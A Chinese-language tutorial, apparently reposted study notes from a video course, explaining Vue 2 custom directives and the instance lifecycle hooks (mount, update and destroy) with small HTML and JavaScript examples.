  1. Vue.directive('fbind',{
  2. //指令与元素成功绑定时(一上来)
  3. bind(element,binding){
  4. element.value = binding.value
  5. },
  6. //指令所在元素被插入页面时
  7. inserted(element,binding){
  8. element.focus()
  9. },
  10. //指令所在的模板被重新解析时
  11. update(element,binding){
  12. element.value = binding.value
  13. }
  14. })

2.配置对象中常用的3个回调函数:

  1. bind(element,binding):指令与元素成功绑定时调用
  2. inserted(element,binding):指令所在元素被插入页面时调用
  3. update(element,binding):指令所在模板结构被重新解析时调用

 3.备注:

  1. 指令定义时不加“v-”,但使用时要加“v-”

  2. 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名

  1. new Vue({
  2. el:'#root',
  3. data:{
  4. n:1
  5. },
  6. directives:{
  7. 'big-number'(element,binding){
  8. element.innerText = binding.value * 10
  9. }
  10. }
  11. })

19.Vue生命周期

1.引出生命周期

1.通过外部的定时器实现(不推荐)

  1. <script type="text/javascript">
  2. Vue.config.productionTip = false
  3. const vm=new Vue({
  4. el: '#root',
  5. data: {
  6. opacity: 1
  7. },
  8. })
  9. // 通过外部的定时器实现(不推荐)
  10. setInterval(()=>{
  11. vm.opacity-=0.01
  12. if(vm.opacity<=0)
  13. vm.opacity=1
  14. })
  15. </script>

2.引出mounted函数

  1. // Vue完成模板的解析并把【初始】真实的DOM元素放入页面后(挂载完毕)调用mounted
  2. mounted() {
  3. // console.log('mounted');
  4. // setInterval中的this指的是window,但是往外找是mounted,应该是vm
  5. setInterval(() => {
  6. this.opacity -= 0.01
  7. if (this.opacity <= 0)
  8. this.opacity = 1
  9. })
  10. },

生命周期:

      (1)又名:生命周期回调函数、生命周期函数、生命周期钩子

      (2)是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数

      (3)生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的

      (4)生命周期函数中的this指向是vm 或 组件实例对象

2.生命周期挂载流程

1.当不获取el的时候 

 

 2.把DOM元素写入template

 

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="UTF-8" />
  5. <title>自定义指令</title>
  6. <script type="text/javascript" src="./js/vue.js"></script>
  7. </head>
  8. <body>
  9. <div id="root">
  10. <h2>当前的n值是:{{n}}</h2>
  11. <button @click="add">点我n+1</button>
  12. </div>
  13. </body>
  14. <script type="text/javascript">
  15. Vue.config.productionTip = false
  16. new Vue({
  17. el: '#root',
  18. // template:
  19. // `
  20. // <div>
  21. // <h2>当前的n值是:{{n}}</h2>
  22. // <button @click="add">点我n+1</button>
  23. // </div>
  24. // `,
  25. data: {
  26. n: 0
  27. },
  28. methods: {
  29. add() {
  30. this.n++
  31. }
  32. },
  33. // 无法获取data和methods
  34. beforeCreate() {
  35. console.log('beforeCreate');
  36. // console.log(this);//vm
  37. // debugger
  38. },
  39. // 获取data和methods,并且进行数据监测和数据代理
  40. created() {
  41. console.log('created');
  42. // console.log(this);//vm
  43. },
  44. // 页面呈现的是未经过Vue变量的DOM结构
  45. // 存在内存中
  46. beforeMount() {
  47. console.log('beforeMount');
  48. },
  49. // Vue完成模板的解析并把【初始】真实的DOM元素放入页面后(挂载完毕)调用mounted
  50. // 将内存中的虚拟DOM转为真正的DOM(经过Vue编译的DOM)
  51. // 对DOM的操作均有效,但是尽可能避免
  52. mounted() {
  53. console.log('mounted');
  54. },
  55. })
  56. </script>
  57. </html>

 3.生命周期更新流程

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="UTF-8" />
  5. <title>生命周期</title>
  6. <script type="text/javascript" src="./js/vue.js"></script>
  7. </head>
  8. <body>
  9. <div id="root">
  10. <h2>当前的n值是:{{n}}</h2>
  11. <button @click="add">点我n+1</button>
  12. </div>
  13. </body>
  14. <script type="text/javascript">
  15. Vue.config.productionTip = false
  16. new Vue({
  17. el: '#root',
  18. // template:
  19. // `
  20. // <div>
  21. // <h2>当前的n值是:{{n}}</h2>
  22. // <button @click="add">点我n+1</button>
  23. // </div>
  24. // `,
  25. data: {
  26. n: 0
  27. },
  28. methods: {
  29. add() {
  30. this.n++
  31. }
  32. },
  33. // 此时数据是新的,但是页面是旧的
  34. beforeUpdate() {
  35. console.log('beforeUpdate');
  36. },
  37. // 此时数据是新的,页面也更新了
  38. updated() {
  39. console.log('updated');
  40. },
  41. })
  42. </script>
  43. </html>

 4.生命周期的销毁流程

在beforeDestroy 可以调用到data,methods,但是对数据的修改不起作用

  1. // 此时vm中所有的data,methods,指令等还是可以使用的,但是实际上数据并不会被更新
  2. // 此时:关闭定时器,取消订阅,解绑自定义事件
  3. beforeDestroy() {
  4. console.log('befoeDestroy');
  5. },
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="UTF-8" />
  5. <title>生命周期</title>
  6. <script type="text/javascript" src="./js/vue.js"></script>
  7. </head>
  8. <body>
  9. <div id="root">
  10. <h2>当前的n值是:{{n}}</h2>
  11. <button @click="add">点我n+1</button>
  12. <button @click="bye">点我销毁</button>
  13. </div>
  14. </body>
  15. <script type="text/javascript">
  16. Vue.config.productionTip = false
  17. new Vue({
  18. el: '#root',
  19. data: {
  20. n: 0
  21. },
  22. methods: {
  23. add() {
  24. this.n++
  25. },
  26. bye(){
  27. console.log('bey');
  28. }
  29. },
  30. // 此时vm中所有的data,methods,指令等还是可以使用的,但是实际上数据并不会被更新
  31. // 此时:关闭定时器,取消订阅,解绑自定义事件
  32. beforeDestroy() {
  33. console.log('befoeDestroy');
  34. },
  35. // 此时,vm上的与组件的联系断开,并且事件监听器也断开
  36. destroyed() {
  37. console.log('destoryed');
  38. },
  39. })
  40. </script>
  41. </html>

5.总结

完整视频:052_尚硅谷Vue技术_生命周期_总结_哔哩哔哩_bilibili

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="UTF-8" />
  5. <title>引出生命周期</title>
  6. <script type="text/javascript" src="./js/vue.js"></script>
  7. </head>
  8. <body>
  9. <!--
  10. 常用的生命周期钩子:
  11. 1.mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等初始化操作
  12. 2.beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等收尾工作
  13. 关于销毁Vue实例:
  14. 1.销毁后借助Vue开发者工具看不到任何信息
  15. 2.销毁后自定义事件会失效,但原生DOM事件依然有效
  16. 3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了 -->
  17. <div id="root">
  18. <h2 :style="{opacity}">欢迎学习Vue</h2>
  19. <button @click="opacity = 1">透明度设置为1</button>
  20. <button @click="stop">点我停止变换</button>
  21. </div>
  22. </body>
  23. <script type="text/javascript">
  24. Vue.config.productionTip = false
  25. new Vue({
  26. el:'#root',
  27. data:{
  28. opacity:1
  29. },
  30. methods: {
  31. stop(){
  32. // 直接清除(暴力)
  33. this.$destroy()
  34. }
  35. },
  36. mounted(){
  37. console.log('mounted',this)
  38. this.timer = setInterval(() => {
  39. console.log('setInterval')
  40. this.opacity -= 0.01
  41. if(this.opacity <= 0) this.opacity = 1
  42. },16)
  43. },
  44. // 在清除vm之前,先将定时器清除
  45. // 为什么将这个写在beforeDestroy中,因为如果在destory中写,不知道是“他杀”还是“自杀”
  46. // 但是无论是什么“杀”,都要经过beforeDestroy
  47. beforeDestroy() {
  48. clearInterval(this.timer)
  49. console.log('vm即将驾鹤西游了')
  50. },
  51. })
  52. </script>
  53. </html>

常用的生命周期钩子:

  1. mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等初始化操作

  2. beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等收尾工作

关于销毁Vue实例:

  1. 销毁后借助Vue开发者工具看不到任何信息

  2. 销毁后自定义事件会失效,但原生DOM事件依然有效

  3. 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/菜鸟追梦旅行/article/detail/573565
推荐阅读
相关标签
  

闽ICP备14008679号